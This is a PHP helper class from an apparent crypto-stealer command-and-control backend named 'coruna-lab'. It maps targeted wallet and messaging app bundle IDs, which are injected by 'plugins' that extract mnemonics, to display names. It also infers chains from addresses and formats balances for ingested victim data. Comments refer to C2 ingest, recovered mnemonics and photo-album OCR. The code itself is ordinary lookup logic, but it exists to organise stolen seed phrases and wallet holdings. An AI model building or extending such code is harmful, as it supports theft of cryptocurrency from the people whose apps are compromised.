Files
coruna-lab/app/Support/WalletSource.php
T
2026-10-05 20:47:59 +08:00

386 lines
11 KiB
PHP

<?php
namespace App\Support;
/**
* Map plugin short tag payload `a` → human wallet name.
*/
final class WalletSource
{
/** @var array<string, string> */
private const TAGS = [
'b' => 'imToken',
'b1' => 'imToken',
'p' => 'Global Wallet',
'd' => 'Trust Wallet',
'r' => 'Bitpie',
'q' => 'Coin98',
'e' => 'Coinbase Wallet',
'k' => 'Exodus',
'm' => 'Krystal',
'a' => 'MetaMask',
'a1' => 'MetaMask',
'j' => 'MyTonWallet',
'i' => 'Phantom',
'l' => 'Ronin',
'n' => 'Tonhub',
'g' => 'Tonkeeper',
'h' => 'Uniswap',
'h1' => 'Uniswap',
't' => 'OKX',
'c' => 'TronLink',
'f' => 'BitKeep',
's' => 'Solflare',
'tg' => 'Telegram',
'wp' => 'WhatsApp',
'wa' => 'WhatsApp',
'wap' => 'WhatsApp',
'sms' => 'iMessage',
// lab / fixture aliases
'tp' => 'TokenPocket',
'im' => 'imToken',
'album_ocr' => '相册',
'note_scan' => '备忘录扫描',
];
/**
* Display names for plugin wallet bundle IDs (mnemonic-capable).
*
* @var array<string, string>
*/
private const BUNDLE_LABELS = [
'im.token.app' => 'imToken',
'io.metamask' => 'MetaMask',
'io.metamask.MetaMask' => 'MetaMask',
'com.wallet.crypto.trustapp' => 'Trust Wallet',
'com.sixdays.trust' => 'Trust Wallet',
'com.okex.wallet' => 'OKX',
'com.okex.OKExAppstoreFull' => 'OKX',
'com.coinbase.wallet' => 'Coinbase Wallet',
'org.toshi.distribution' => 'Coinbase Wallet',
'com.exodus' => 'Exodus',
'exodus-movement.exodus' => 'Exodus',
'app.phantom' => 'Phantom',
'com.uniswap.mobile' => 'Uniswap',
'com.tronlinkpro.wallet' => 'TronLink',
'com.tronlink.hdwallet' => 'TronLink',
'com.mytonwallet.app' => 'MyTonWallet',
'org.mytonwallet.app' => 'MyTonWallet',
'com.tonhub.app' => 'Tonhub',
'com.tonkeeper.app' => 'Tonkeeper',
'com.jbig.tonkeeper' => 'Tonkeeper',
'vip.mytokenpocket' => 'TokenPocket',
'com.bitkeep.wallet' => 'BitKeep',
'com.bitkeep.os' => 'BitKeep',
'com.bitpie' => 'Bitpie',
'com.bitpie.wallet' => 'Bitpie',
'com.coin98' => 'Coin98',
'coin98.crypto.finance.insights' => 'Coin98',
'com.solflare.mobile' => 'Solflare',
'com.roninchain.wallet' => 'Ronin',
'com.skymavis.Genesis' => 'Ronin',
'com.krystal.wallet' => 'Krystal',
'com.kyrd.krystal.ios' => 'Krystal',
'com.global.wallet.ios' => 'Global Wallet',
];
/**
* DS /war wallet bucket keys → display name. Unknown keys stay empty.
*
* @var array<string, string>
*/
private const DS_WALLET_KEYS = [
'trustwallet' => 'Trust Wallet',
'trust_wallet' => 'Trust Wallet',
'trust' => 'Trust Wallet',
'imtoken' => 'imToken',
'im.token' => 'imToken',
'tokenpocket' => 'TokenPocket',
'token_pocket' => 'TokenPocket',
'phantom' => 'Phantom',
'uniswap' => 'Uniswap',
'coinbase' => 'Coinbase Wallet',
'bitget' => 'BitKeep',
'bitkeep' => 'BitKeep',
'metamask' => 'MetaMask',
'okx' => 'OKX',
'tronlink' => 'TronLink',
'coin98' => 'Coin98',
'solflare' => 'Solflare',
'exodus' => 'Exodus',
'tonkeeper' => 'Tonkeeper',
'mytonwallet' => 'MyTonWallet',
'tonhub' => 'Tonhub',
'bitpie' => 'Bitpie',
'telegram' => 'Telegram',
'whatsapp' => 'WhatsApp',
];
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp / iMessage). */
private const NON_MNEMONIC_BUNDLES = [
'ph.telegra.Telegraph',
'net.whatsapp.WhatsApp',
'imagent',
'com.apple.imagent',
];
public const MANUAL_LABEL = '手动添加';
public static function fromTag(mixed $tag): string
{
if (! is_string($tag) || $tag === '') {
return 'unknown';
}
$key = strtolower(trim($tag));
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
}
/**
* Keystore source: known wallet name, or empty when unrecognized.
*/
public static function fromKeystoreHint(mixed $hint): string
{
if (! is_string($hint) || trim($hint) === '') {
return '';
}
$raw = trim($hint);
$key = strtolower($raw);
if (isset(self::TAGS[$key])) {
return self::TAGS[$key];
}
if (isset(self::DS_WALLET_KEYS[$key])) {
return self::DS_WALLET_KEYS[$key];
}
foreach (self::knownLabels() as $label) {
if (strcasecmp($label, $raw) === 0) {
return $label;
}
}
if (str_contains($key, 'utc--') || str_contains($key, 'trustwallet') || str_contains($key, 'trust_wallet')) {
return 'Trust Wallet';
}
if (str_contains($key, 'bitpie')) {
return 'Bitpie';
}
if (str_contains($key, 'imtoken') || str_contains($key, 'im.token')) {
return 'imToken';
}
if (str_contains($key, 'tokenpocket') || str_contains($key, 'token_pocket')) {
return 'TokenPocket';
}
if (str_contains($key, 'metamask')) {
return 'MetaMask';
}
return '';
}
/**
* Plugin tag used when writing a recovered mnemonic (`d` = Trust Wallet).
*/
public static function tagForLabel(string $label): string
{
$label = trim($label);
foreach (self::TAGS as $tag => $name) {
if (strcasecmp($name, $label) === 0) {
return $tag;
}
}
return '';
}
/**
* Wallet names shown when an admin manually attaches a mnemonic.
*
* @return list<string>
*/
public static function mnemonicSourceOptions(): array
{
$skip = ['Telegram', 'WhatsApp', 'iMessage', 'unknown'];
$labels = [];
foreach (self::knownLabels() as $label) {
$label = trim($label);
if ($label === '' || in_array($label, $skip, true)) {
continue;
}
$labels[$label] = true;
}
$sorted = array_keys($labels);
sort($sorted, SORT_NATURAL | SORT_FLAG_CASE);
$sorted[] = self::MANUAL_LABEL;
return $sorted;
}
/**
* @return list<string>
*/
private static function knownLabels(): array
{
return array_values(array_unique(array_merge(
array_values(self::TAGS),
array_values(self::DS_WALLET_KEYS),
array_values(self::BUNDLE_LABELS),
)));
}
/**
* True when this bundle is a business plugin that can extract a mnemonic.
*/
public static function isPluginWalletBundle(string $bundle): bool
{
$bundle = trim($bundle);
if ($bundle === '' || in_array($bundle, self::NON_MNEMONIC_BUNDLES, true)) {
return false;
}
if (isset(self::BUNDLE_LABELS[$bundle])) {
return true;
}
$configured = config('coruna.wallet_bundles', []);
return is_array($configured) && in_array($bundle, $configured, true)
&& ! in_array($bundle, self::NON_MNEMONIC_BUNDLES, true);
}
public static function labelForBundle(string $bundle, ?string $fallback = null): string
{
$bundle = trim($bundle);
if (isset(self::BUNDLE_LABELS[$bundle])) {
return self::BUNDLE_LABELS[$bundle];
}
$fallback = trim((string) $fallback);
return $fallback !== '' ? $fallback : ($bundle !== '' ? $bundle : 'unknown');
}
/**
* Chains we persist from C2 ingest (skip UNKNOWN / niche networks).
*
* @var list<string>
*/
public const SUPPORTED_CHAINS = [
'ETH', 'ETHEREUM', 'EVM',
'TRX', 'TRON',
'BTC', 'BITCOIN',
'BNB', 'BSC', 'BINANCE',
'SOL', 'SOLANA',
'ARB', 'ARBITRUM',
'TON', 'TONCOIN',
];
public static function isSupportedChain(string $chainType): bool
{
return in_array(strtoupper(trim($chainType)), self::SUPPORTED_CHAINS, true);
}
/**
* Infer chain type from address when plugin omits chainType.
*/
public static function inferChainType(string $address): string
{
$address = trim($address);
if ($address === '') {
return 'UNKNOWN';
}
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) {
return 'ETHEREUM';
}
if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
return 'TRON';
}
// Binance Chain / Beacon Chain bech32 (must precede Solana base58)
if (preg_match('/^(bnb|tbnb)1[a-z0-9]{38,90}$/i', $address)) {
return 'BSC';
}
if (preg_match('/^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$/', $address)) {
return 'BITCOIN';
}
if (preg_match('/^[1-9A-HJ-NP-Za-km-z]{32,44}$/', $address) && ! str_starts_with($address, 'T')) {
// Solana-like base58
return 'SOLANA';
}
if (preg_match('/^EQ|^UQ/i', $address)) {
return 'TON';
}
return 'UNKNOWN';
}
/**
* Format raw on-chain integer by decimal; pass through already-decimal strings.
*/
public static function formatBalance(mixed $raw, mixed $decimal = null): int|float|string
{
if ($raw === null || $raw === '') {
return 0;
}
$rawStr = trim((string) $raw);
if ($rawStr === '') {
return 0;
}
// Already human-readable (contains decimal point) — keep numeric value.
if (str_contains($rawStr, '.')) {
return self::normalizeNumber($rawStr);
}
if ($decimal === null || $decimal === '') {
return self::normalizeNumber($rawStr);
}
$dec = (int) $decimal;
if ($dec <= 0) {
return self::normalizeNumber($rawStr);
}
if (! function_exists('bcdiv')) {
$value = ((float) $rawStr) / (10 ** $dec);
return self::normalizeNumber((string) $value);
}
$formatted = bcdiv($rawStr, bcpow('10', (string) $dec, 0), $dec);
$formatted = rtrim(rtrim($formatted, '0'), '.');
if ($formatted === '' || $formatted === '-0') {
$formatted = '0';
}
return self::normalizeNumber($formatted);
}
private static function normalizeNumber(string $value): int|float|string
{
if (! is_numeric($value)) {
return $value;
}
if (str_contains($value, '.')) {
$f = (float) $value;
return $f == (int) $f ? (int) $f : $f;
}
// large integers stay as string if beyond PHP int
if (strlen(ltrim($value, '+-')) > 18) {
return $value;
}
return (int) $value;
}
public static function nativeSymbolForChain(string $chainType): string
{
return match (strtoupper($chainType)) {
'TRON', 'TRX' => 'TRX',
'BITCOIN', 'BTC' => 'BTC',
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
'SOLANA', 'SOL' => 'SOL',
'TON' => 'TON',
'BNB', 'BSC', 'BINANCE' => 'BNB',
'ARB', 'ARBITRUM' => 'ETH',
default => strtoupper($chainType) ?: 'UNKNOWN',
};
}
}